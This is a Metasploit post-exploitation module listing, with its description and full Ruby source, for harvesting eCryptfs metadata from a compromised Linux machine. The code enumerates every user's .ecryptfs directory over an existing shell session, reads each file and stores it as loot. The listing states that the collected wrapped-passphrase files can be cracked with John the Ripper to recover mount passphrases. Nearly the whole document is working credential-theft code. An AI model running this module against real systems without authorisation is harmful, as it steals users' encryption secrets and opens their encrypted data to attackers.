Gather eCryptfs Metadata

2013-07-28T17:39:42
ID MSF:POST/LINUX/GATHER/ECRYPTFS_CREDS
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module will collect the contents of all users' .ecrypts directories on the targeted machine. Collected "wrapped-passphrase" files can be cracked with John the Ripper (JtR) to recover "mount passphrases".

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info={})
    super( update_info(info,
      'Name'           => 'Gather eCryptfs Metadata',
      'Description'    => %q{
        This module will collect the contents of all users' .ecrypts directories on
        the targeted machine. Collected "wrapped-passphrase" files can be
        cracked with John the Ripper (JtR) to recover "mount passphrases".
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['Dhiru Kholia <dhiru[at]openwall.com>'],
      'Platform'       => ['linux'],
      'SessionTypes'   => ['shell']
    ))
  end

  # This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.

  def run
    print_status("Finding .ecryptfs directories")
    paths = enum_user_directories.map {|d| d + "/.ecryptfs"}
    # Array#select! is only in 1.9
    paths = paths.select { |d| directory?(d) }

    if paths.nil? or paths.empty?
      print_error("No users found with a .ecryptfs directory")
      return
    end

    download_loot(paths)
  end

  def download_loot(paths)
    print_status("Looting #{paths.count} directories")
    paths.each do |path|
      path.chomp!
      sep = "/"
      files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)

      files.each do |file|
        target = "#{path}#{sep}#{file}"
        if directory?(target)
          next
        end
        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
        data = read_file(target)
        file = file.split(sep).last
        loot_path = store_loot("ecryptfs.#{file}", "text/plain", session, data,
          nil, "eCryptfs #{file} File")
        print_good("File stored in: #{loot_path.to_s}")
      end
    end
  end
end